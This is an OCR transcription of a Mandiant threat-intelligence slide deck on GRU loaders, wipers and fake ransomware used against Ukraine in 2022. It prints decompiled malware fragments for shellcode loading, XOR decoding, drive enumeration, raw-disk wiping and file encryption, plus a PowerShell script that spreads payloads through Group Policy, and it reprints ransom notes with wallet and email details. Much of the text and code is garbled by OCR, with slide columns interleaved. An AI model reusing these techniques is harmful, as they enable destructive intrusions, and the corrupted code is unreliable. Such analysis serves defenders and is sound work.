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Who's this guy?

* Principal Analyst at Mandiant’'s Cyber Espionage team
» Responsible for tracking nation-state actors

* Since early 2022 worked on tracking Russian backed cyber
activities both within Ukraine and globally
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Attribution is hard; it's made even harder when
multiple teams converge on a single problem.
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Disruptive tooling

* Disruptivetoolingisthe sledgehammer, not the

stealthy little scalpel traditionally used for espionage.

 How Russia uses this sledgehammer:
 DDOS attacks masqueradingas hacktivists

* Endpoint/Serverdenial of service
* Disruptionto energy and communications

* The capabilityis likely developed specifically for a
given operation and has a short lifespan.

©2023 Mandiant

5



Disruptive tooling

« GRUis currently operating in a high-pressure and high-risk environment

 The GRU limits the risk by:
« Usingavarietyof languages
—  C/C++
— C#/.Net
— Golang

« Limiting the lifespan of the tooling
* Limiting the capability of the tooling
 The actor, however, does recycle components between different operations.
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Maintaining access
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FREETOW

- FREETOW: s alightweight shellcode loader
» Usedin environmentswhereactor had prolongedaccess
* Persisted using a simple schedule task
* Responsibleforloading TOWSTRAP
 Aunique feature of FREETOW was an anti-analysis feature that expected an inputted
character “Z"

 Note: Deploymentsof FREETOW occurred monthsbefore the invasion, althoughthe symbol
had significantvalue to the RU military at the time of the invasion.

F
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VirtualALloC = (_ inted (_fastcall *)( QWORD, _ int64, MACRO MEM, MACRO PAGE))ResolveFunc(OXES53A458) ;
if ( virtualAlloc )

{

lpBuffer = VirtualAlloc(0i64, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if ( \pBuffer )

{

SizeOfImage = pNtHeader->OptionalHeader.SizeOfImage;

if ( pNtHeader->OptionalHeader.SizeOfImage )

{
vl19 = lpBuffer - (_QWORD)ImageBaseAddress;// Copy payload
do
{

*((_BYTE x)ImageBaseAddress + v19) = x(_BYTE x)ImageBaseAddress;

ImageBaseAddress = (DWORD x*)((char x)ImageBaseAddress + 1);
--S51ze0fImage;

}
while ( SizeOfImage );
}

}

}

SizeOfUninitializedData = optionalHeader->5i2e0fUninitializedData;
for ( i = (_BYTE x)(\pBuffer + SizeOfUninitializedData + offsetStartPayload);

(unsigned __int64)i <= 1pBuffer + offsetStartPayload + SizeOfUninitializedData + dwlLenPayload;
++1 )

{

}

lpPayload = (void (x)(void))(lpBuffer + offsetStartPayload + optionalHeader->Size0OfUninitializedData);
VirtualAlloc(0i64, 0x400000i64, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

LpPay load(); // execute payload

*1 = =1 - xi; // decode payload
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TOWSTRAP

- TOWSTRAP is a shellcode downloader, invoked by FREETOW
 The payloadislikely a variant of Metasploit'sreverse_tcp module
 The payloadisresponsiblefordownloadingthe next stage froma given C2 address

« TOWSTRAP uses a custom network protocol, sending no data but receiving:

* 4Dytesdictatingthesize of the payload
* 32 bytesthatare thenoverwritten T

mov rdi, rsi
add rdi, rax
i+

M

« Theremainder of the next stage, encoded

loc_109:

by an XOR with OxC6

e = e =
48 8B 0

mov
loc_1EB:  ; Check we've downloaded everything we needf 80 F1C6 ~ xor  cl, 0C6h

pop  rdi
pppppp

« Afterdecoding the payload, the actor reads

sub rsi, rax

the bufferin reverselooking for pop r15 or

‘call’

e =
41 57

ppppppp

s =

loc_201:
mov

¥
FE )
49 FF CF

5ege00 ends
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WHISPERGATE

« First wiper event documented around L S G O AT S S08 SR C FOEIO s ey
the invasion of Ukraine (2022) § Pescosm e e i ot

e StartedindJdanuary 2022, using a mixture
of commercially available droppers to
deploy a MBR wiper (PAYWIPE) and a file

encryptor/"ransomware" (SHADYLOOK).

« Would be the first of many fake Pure Crypter
"I’anSO Mwa re" Operations Crypter For Native And .NET

Pure Crypter

« MSTIC noted deployment was via
impacket, a tool we witnessed other GRU
threat actors using

e (Operation was unique due to the use of
commercially available tools and the use

of two distinct payloads. https://purecoder.io/products/Pure-Crypter
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PAYWIPE

PAYWIPE is a lightweight MBR wiper
* According to Microsoft, called stagel.exe #opsec

Deploys disruptive code in the MBR that results in wiping every
199t sector on HDD

Displays the following “ransomware” note

Your hard drive has been corrupted.

In case you want to recover all hard drives
of your organization,

You should pay us $18k via bitcoin wallet

1AUNMb8g j6PGPFcJuftRATadlLnzg8fpfv and send Message via

tox ID 8BEDC411812A33BA34F49138D8F186993C6A32DADB976F6A5D82C1ED23854CA57ECEDS496
Fb5

Wwith your organization name.

WHe Wwill contact you to give further instructions.




SHADYLOOK

* Disruptive file wiper that was loaded in memory by GOOSECHASE

« Again, amazing opsec - called stageZ2.exe

« Qverwrites the first IMB of given files with OxCC and renames with random file extension
 Enumerates all mounted hard drives looking for files with a given extension.

* Analysis of the payload also identified another "ransomware" family from April 2021 called
WARYLOOK.

LogicalDrives = GetLogicalDrives();
gmemcpy (RootPathName, "A", @xAu);
RootPathName[3] = 0;
for ( drivelndex = @; drivelndex !'= 26; ++drivelndex }// Enumerate all drives
{
result = (__int64)pow(2.8, (double)drivelndex);
if ( (LogicalDrives & result) != 0 )
{
RootPathName [@] = driveIndex + "A':
if ( GetDriveTypeW(RootPathName) == DRIVE_FIXED || (result = GetDriveTypeW(RootPathName), result == DRIVE_REMOTE) )
{
RootPathName[3] = '%x';
result = recurviseProcessDirectory(RootPathName);
RootPathName [3] = @;



WARYLOOK

« SHADYLOOK was functionally similar to
another malware family WARYLOOK from .
2021 /3 = fopen(0LdFilenane, "r+b");

HUHJ||?' = malloc({@x2000000uicd) ;
. . . while 1)
« WARYLOOK contains identical o rrer — tresd(ionurer. Tuiss. ox20000000i6e. 1o}
. R R dwSizeBuffer = fread{lpBuffer, lulitd, @x uied, vil;
functionality to enumerate drives, but: if ( Yousizenuffer || LpFilelocation’> OFFFFFFF )
« Usesthe filename .encrpt3d faeak(s3, Torileiocacion, @y e
IpFileLocation += dwSizeBuffer;
* Encryptsdatawith AES(although doesn’t pere By TTer, luded, A enutien Ak
storethe key) D e
ree(lpBuffer);
. . fclose(vi);
e WARYLOOK also |nSta||S Itself v7 = {Ehar' -T}Tal}?c{_strlen{'; ldFilename) + 10);
. . . . v8 = strcpy(v7, 0ldFilename);
persistently on victim devices v9 = strcat(v8, ".encrpt3d");

return rename(0ldFilename, v2):

* Responsibleforshowingthe "ransom”note
as a popup after boot, similar purpose as
PAYWIPE
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Disruptive attacks on the eve of the invasion

23" February, the GRU launched a major
disruptive attack using payloads like
NEARMISS and PARTYTICKET.

The disruption attacks were associated
with a series of website defacements.

Defacements were claimed by a group
calling themselves FreeCivilian, this alias
will return exactly a year later.

http://gcbeim2rciftougbxuhimjSoroougcuxb2my4raxqa7efkz5bd5464id.onion/
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NEARMISS

BOOL __ thiscall WipeWwlithEaseUS(FormatToWipe *this)
{
DWORD dwNumberOfThreads; // oo
ltruct_phyucal dtivc 'wipcsectornlocx, // ed
HANDLE hThre /
DWORD i1 /) cd.
void *arrayHThreads(100]; // [esp! [ek ) 0F

. [ . . - S04
« Windows MBR, MFT and file wiper R W sornos
I if ( ¢ ‘,->u1p|Soctornlock )
{
do
{
e e ° ° | - crente'rr—end(o D, ( 2A ROUTINE)WipeFileWithEaseUs, WipeSec ~torBlock, 0, 0);// Send a block to wipe to the Wiper function
» Utilises EaseUS for file writes rather REp et = w78 e hrend o e i
1 drive *)WipeSectorBlock->next;// Get the next block, then add this
L] L] L] L] L] )
than utilising Windows APIs direct| Bl Lnrmmeni s s
1 WaitForMultipl t‘Obj(‘C £ cads, a reads, 1, OXFFFFFFFF);// Wait for all threads to complete

for ( - 0;

Closenandle( // Close Handles to all the threads

likely to avoid Windows restrictions

» Designed to cause as much damage as
possible as quickly as possible

« (Contains aconfigurable shutdown timer

ThreadParameter->Phys icalDrivetlumber;

* Overwrites data with random bytes, o7 ey s s e s o s e
including Windows Events Logs

aels || t == (yoid *)=1 }
gatn errorllnbrinr;

-—=1poutpur.ltmd3u ffar;
h: er=>lplumber0fBytesTo0verwrite;

->dwCurrentLocationWithinBlock;

k) # *( QWORD *)&regicnsToWipe->dwRegionSize;

 Disables some windows features
* Volume shadowcopies

G ,LastError( |H
if twntr-n e(h te, &Humk

e Crashdumps I RS-

}
while ( __ __(1p n, dwl Block) < v )
}

__PAIRE4__ [lpStart k), 0, 0) )// Move the file pointer to the region to wipe

ck) >> 32;

po->dwRegionSize;

M Erh_lle {

if o rlusnr Leaul:]:ers



[BOOL __ thiscall WipeWithEaseUS(FormatToWipe *this)
q
DWORD dwNumberOfThreads; // csi
struct_physical drive *WipeSectorBlock; // edi
HANDLE hThread; // eax
DWORD i; // edi

void *arrayHThreads(100); // [espitCh]| [ebp-190h] BYREF
NEARMISS | coeornesis = o,

WipeSectorB8lock = this->WipeSectorBlock;
if ( this->WipeSectorBlock )
{

do

hThread = CreateThread(0, 0, (LPTHREAD START ROUTINE)WipeFileWithBaseUs, WipeSectorBlock, 0, 0);// Send a block to wipe to the Wiper function
arrayiThreads [dwNumberOfThreads] = hThread;/7 Add the thread to the list
if ( hThread )

++dwNumberOfThreads;

WipeSectorBlock = (struct physical drive *)WipeSectorBlock->next;// Get the next block, then add this

}
while ( WipeSectorBlock l= this->WipeSectorBlock );
WaitForMultipleObjects (dwNumberOfThreads, arrayiThreads, 1, OXFFFFFFFF);// Wait for all threads to complete
for ( i = 0; i < dwNumberOfThreads; ++i
Closeflandle(arrayHThreads[i]); // Close Handles to all the threads

}
| return dwNumberOfThreads 1= 0;
}

FhysicalDriveNumber = lpThreadParameter->PhysicalDriveNunber;
RumberOfBytesWritten = 0
wnaprintfW(pszDest, 260, L"%WA\\GAAEPMNTDRVA\%u", PhysicalDriveNumber);// Open a handle to the EaseUS driver for that particular PhsyicalDriwve
J{ For example, PhysicalDriwve( would be EFMNTDRVAD
hEasells = (void *)ConnectToDevice(pszDest, (int)EaseUsBuffer,; 0);
if ( |hEasels || hEasels == (void *)=1 })
goto errordoDriver;

lpBuffer = (LPCVOID)lpThreadParameter=>lplutputRandBuffer;
WinﬂuﬂcrbfﬁytcsTnWritcl = lpThreadFarameter->lplumberOfBytesToOverwrite;

{
dwCurrentLocationWithinBlock = regionsToWipe<>dwCurrentLocationWithinBlock;
lpStartRegion = regionsToWipe->lpStartRegion;
dwEndOfSector = _PHRII_{lpStartRl:giun, dwCurrentLocationWithinBlock) + *{_I:]HEIEI.D ']irnqinnsTnHipﬂ—}mlmi“[
BIDWORD (| nlumber0fByteaToWrite) = IlpStartRegiong
if { __SPAIRG64__(lpStartRegion, dwCurrentLocaticnWithinBlock) < dwEndOfSector )

{
do

{
HumberOfBytesWritten = 0j

if ( ISetFilePointerEx(hEaselUs, (LARGE_INTEGER)__PAIRG4__ (lpStartRegion, dwCurrentLocationWithinBlock), 0, 0) })// Move the file pointer to the region to wipe
GeatlastError();:

if i Ilfrit.trilinthl:ant:u»s, lpBuffer, nNumberOfBytesToWrite, ENumberOfBytesWritten, 0) )
GetLastErrar( )}

lpStartRegion = (nNumberOfBytesToWrite + (unsigned  int6d)(unsigned int)dwCurrentLocationWithinBlock) »>»> 32;

dwCurrentLocationWithinBlock += nHumberOfBytesToWritej;

vl = ®(_ QWORD *)&regionsToWipe->dwCurrentlocationWithinBlock + #{ OWORD *)&regionsToWipe->dwRegionSize;

HIDWORD [ niumberOfBytesToWrite) = lpStartRegiong
lh.!.l- ( _SPAIRG4__(lpStartRegion, dwCurrentLocationWithinBleck) < v@ };
regionsToWipe = I.trul:t_rcgil:ml "rcqinnn"fuwipn-}mt;
I=!I:|.'L'lu { regionaToWipe l= lpThreadParameter->reglonsToWipe );

V if { FlushFileBuffers{hEaselUs) )
' - WZUZ9 rridnaidit



PARTYTICKET

GolLang file encryptor/fake ransomware

Uses a unique SHA256 hash for each file
encryption (ish)

Crowdstrike noted that the key
generation was flawed due to the
seeding of the Intn function

Actor accidently deployed this payload
shortly before NEARMISS using
NEARMISS command line arguments

Althoughvariant functions and acts like
a ransomware payload, the usage
alongside NEARMISS most likely
indicates that this is yet another
disruptive tool.

£ | C:\Users\Admin\Desktop\read_me.html| L~C & C:\Users\Admin\Desktop\r...

"The only thing that we learn from new elections is we learned nothing from the old!"

Thank you for your vote! All your files, documents, photoes, videos, databases etc. have been successfully encrypted!

Now your computer has a special ID: b2a9c¢850-9642-11ec-bd20-4e3bd643bdb4

Do not try to decrypt then by vourself - 1t's impossible!

It's just a business and we care only about getting benefits. The only way to get vour files back is to contact us and get further instuctions

To prove that we have a decryptor send us any encrypted file (less than 650 kbytes) and we'll send you it back being decrypted. This 1s our guarantee

NOTE: Do not send file with sensitive content. In the email write us your computer's special ID (mentioned above).

So if you want to get vour files back contact us:
1) vote2024forjb@protonmail com

2) stephanie jones2024@protonmail com - if we dont't answer you during 3 days

Have a nice day! [}

©2023 Mandiant



SKYFALL - Communication disruption

On the 24" February, SKYFALL caused
internet service disruptions in Ukraine
and Europe

SKYFALL is designed to impact routers
and embedded devices

Wipes file system and storage device

Overwrites data with values
decrementing from OxFFFFFFFF

First disruptive campaign that affected
outside of Ukraine, similar to historic
GRU disruptive operations like NotPetya

- 38:
$t9, checkIsRoot

P
alr $t9 ; checkIsRoot
P

loc_4016C4:

la $t9, WipeFileSystem
nop

jalr $t9 ; WipeFileSystem
nop

w $gp, @x18+var_8($sp)
b loc_401454

nop

FIEE

o0c_401454;
$t9, wipeDevSd

$t9 ; wipeDevSd

$gp, @x18+var_8($sp)
$t9, wipeMtdBlock

$t9 ; wipeMtdBlock
$gp, @x18+var_8($sp)
$t9, wipeSDMMC

$t9 ; wipeSDMMC

$gp, @x18+var_8($sp)
$t9, wipeMtd

$t9 ; wipeMtd

$gp, Ox18+var_8($sp)
$t9, wipeVirtualBlock
$t9 ; wipeVirtualBlock
$gp, 0x18+var_8($sp)
$t9, checkIsRoot

$t9 ; checkIsRoot

$gp, @x18+var_8($sp)
$v0, loc_4016A8

r
$gp, Ox18+var_8($sp)| |addiu S|
Ve oc_a Cc4

Jal
loc_4016A8:

la $t9, WipeFileSystem
]
U
b

nop
jalr $t9 ; WipeFileSystem
nop

$gp, @x18+var_8($sp)
loc_4814E8

Ve

©2023 Mandiant
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{ v57 )
if ( w57 =5 )
{

vl = (G LC s) (TOKEN_ADJUST_PRIVILEGES, &token);
1f { (O T } }{ 1y ) 7 OpenCurrent process with adjust_priv

{
strepy(vld, SeTakeOwnersh1pPr1v1leqe }
if | AddProcessPrlv1llege{ en, vid, 1) )
{
vsT = (Sepﬁaxeuiecd: nfoh)( // Take ownership

SE FILE OBJECT,
BWNER SECURITY INFORHATION

* Initially deployed against financial sector v,
prior to targeting government s ( nadprocesspriviLisge(ioren, vid, 0) )
v57 = (SetNamedSecurityInfol)({al, SE_FILE_OBJECT, DACL_SECURITY_ INFORMATION, 0, 0, newhcl, 0);
. 7} n ° ifra{sn!f.f:]l-
 Turnedinto the “go-to” wiper for most of ) '
the 2022
 Checks if it's executing on the domain
COﬂtI’O”er' Via the mallnclEIIlllBytesi 5, 1923}\\\\ \\PHYSICALDRIVES");
. . . WCSCpY i¢ Irive,
DsRoleGetPrimaryDomaininformation v8 =0; /1 PhysicalDrive0-9
{ Filel sicalDrive P N
« Startswiping the c:\Users folder before i (572 )o0 (hrweesiosive, xco000000, 3, 0, 3, 128, 0)3
targeting drives D-Z { (Devicelocentrol) (v35, IOUTL. DISK SET DRIVE LAYOUT K, v, 1920, 0, 0, &vi, 0);

}
» Payload takes ownership of files before Tesult = paory criprivellTl)
wiping while ( cesult);
« Sametechniquewas later utilised by
JUNKMAIL

M ©2023 Mandiant 21



ARUGEPATCH

ARGUEPATCH is anin-memory loader,
used to execute CADDYWIPER

Second instance of the GRU usingin
memory loading in an attempt to extend
the lifespan of atool

ARGUEPATCH is functionally similar to
FREETOW

Currently 3 major versions of
ARGUEPATCH to avoid detection:

Version 1(April 2022), deployed as IDA remote debugger.
Simplyloads CADDYWIPER.

Version2(May 2022), deployed asan ESET tool. Loads
CADDYWIPER but contains some code to implementa
sleeptimer.

Version 3 (June 2022), deployed as an ESET tool. Loads a
custom binary blob that contains the shellcode for the
sleep timer and another shellcode for CADDYWIPER.

ize + @x1000, 0x1000u, PAGE_READWRITE);// Allocate initial RWNI payload
age + @x1000, dwrileSize, &v53, o
eSize + BxFFC) +

eepTimer);

@);// Copy the content of the image into
.pLoadedImage + 0x1000);

ur buffer

vadedImage + 4096) ;

ey [ind 1);

( t oc)( y lpLoadedImage, filePlusPageSize, MEM_COMMIT, PAGE_EXECUTE_READ);// Use VirtualAlloc as VirtualProtect
int __cdecl darkmirror_xor_function{_BYTE #lpBuffer, unsigned int lenBuffer, int key, unsigned int keySize)
{

unsigned int i; // ebx
unsigned int j; // ecx
int result; // eax
for { i = @; i < lenBuffer; ++1pBuffer )
for ( j = @; j < keySize; *lpBuffer ~= result )
{
LOWORD(result) = (char)j % (char)i;
LOBYTE{result) = *{_BYTE =*){(j + key) + result;
++13
}
++
¥
return result;




PRESSTEA

AKA: Prestige(Microsoft)

« (actual)Ransomware variant originally discovered by Microsoft
 Targetstransportation sectorsin Ukraine and Poland

« Payload uses CryptoPP library to load a public key that is used to encrypt each input
file

* Deletes back-up catalogs and shadow volume copies

« Second instance during the Ukrainian Invasion of targeting outside of Ukraine by the
threatactor =

/| README - Notepad

File Edit Format View Help
NOU PERSONAL FILES HAVE BEEN ENCRYPTED.

To decrypt all the data, you will need to purchase our decryption software.
Contact us Prestige.ranusomeware@Proton.me. In the letter, type your ID = CF5@56EA.

* ATTENTION =
- Do not try to decrypt your data using third party software, it may cause permanent data loss.
- Do not modify or rename encrypted files. You will lose them.

M ©2023 Mandiant



Function Start-work {
Param

(

[Parameter()]

[Parameter()]
[String]$SourceFile = "C:\Windows\caddy.exe",

[Parameter()]
[String]$DestinationFile = "C:\Windows\caddy1.exe",

[Parameter()]
[string]l$appName = "C:\Windows\caddy1l.exe",

[Parameter()]
[stringl$args = ""

$Domain = (Get-WmiObject Win32_ComputerSystem).Domain

« GRU's chosen lateral movement oo oo e

$Root = [ADSI]"LDAP://RootDSE"
$DomainPath = $Root.Get("DefaultNamingContext")

$DistinguishedName = "CN=Policies,CN=System," + $DomainPath
O O Write-Host ("Distinguished Mame: {0}" -f $DistinguishedMame) -ForegroundColer Red

$adGPT = "
$adGPO =
$PrefPath = "\\$Domain\sysvol\$Domain\Policies\$GpoGuidiMachine\Preferences\"
Write-Host $adGPO

* Rehashed version of

Tr

\$Domain\sysvoli$Domain\Policies\$GpoGuid\GPT.INI"
DAP://CN=$GpoGuid, $DistinguishedName"

y {
ScurrentExt = $adGPOPath.get('gPCMachineExtensionNames')

SharpGPOAbuse and

Param (

if (![string]::IsNullOrEmpty($SourceFile)) { [Parameter()]
if(![string]: :IsNullOrEmpty($DestinationFile)) 4 Lstring)$adePOPath,
$Filename = Split-Path $DestinationFile -Leaf
$FilenamePath = "\\3Domain\sysvol\$Domain\Poli [Parameter ()1

Copy-Item -Path $SourceFile -Destination §File [string]$adGPT,
Create-Files -PreferencesPath $PrefPath -ADGF [Parameter ()]
} [string]$GuidExtension,

¥ [Parameter ()]

. I | S e d tO | a t e ra I |y C O py a n d Create-Tasks -PreferencesPath $PrefPath -ADGPOPath [stringlsuid
)

Write-Host _
Write-Host "Done" -ForegroundColor Red $adGPO = (ADSI]$adGPOPath

Tr

execute payloads from attack g e

}

°
OX to el ltlre I Ietwor # SharpGPOAbuse
[System.Collections.Generic.List[String]]$new_values = New-Object System.Collections.Generic.List[String]

$test = $currentExt.Split('[');
foreach ($i in $test)

$new_values.Add($i.Replace("{", "").Replace("}", " ").Replace("]", ""))

e R e f erences S h ar p G P O A b use | N

if (!$currentExt.Contains($vall))

$new_values.Add($vall + " " + $Guid);
+
# if zero GUID exists in current value
elseif (S$currentExt.Contains($vall))
{
for ($k = 0; $k -1t $new_values.Count; $k++)
if ($new_values[$k].Contains($vall))
{
[System.Collections.Generic.List[String]]$toSort = New-Object System.Collections.Generic.list[String]
[string[]1] $test2 = $new_values[$k].Split()
for ($f = 1; $f -1t $test2.Length; $f++)

$toSort.Add(Stest2[$f])

I v ;toSort.Add(iGuld)
traSart Sartly . . )
' WZUZ0 ridnaidrlit 24
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SIX PHASES OF RUSSIAN CYBER OPERATIONS .
DURING THE 2022 WAR IN UKRAINE )

January 2022 - May 2023

Strate gic =
Cyber S

* Esplonage ®8 * SHADYLOOK, PAYWIPE —— S
aaaaaaa E

Conclusion

- (Campaign hasbeen littered with low equity, limited e 7
Use tOOlS @;7 ug%E;uw Em ﬁ :E:fng\ST
« There was significantdelayin replacingtools that T e
. . . |—— INDUSTROYER.V2, CADDYWIPER, SOLOSHRED, AWFULSHRED 5
were likely burnt at the start of theinvasion | oo
. ?':SAQ:SE.E ;g I—— CADDYWIPER ping
* Inmultiple cases, the GRUattempted to masquerade & s
as “ransomware”actors e ==
« Although some operationswere successful, they o
were littered with operationalerrors s @
* Incorrect wipers g
® Poorly Written im plants SLKD?JWY:IF;E:RE‘R,ZEROWIPE,SD?LETE,AWFULSHRED,EIDSWIPE“ ”
 Theactorattemptedto introducevariety, but the @ i i o 2
wider operationled to cross contamination of
operations. R S -

Regardless of the geopoliticalrisk, the GRU and wider
RussianIntelligence are happyto target outside of
Ukraine

©2023 Mandiant 26
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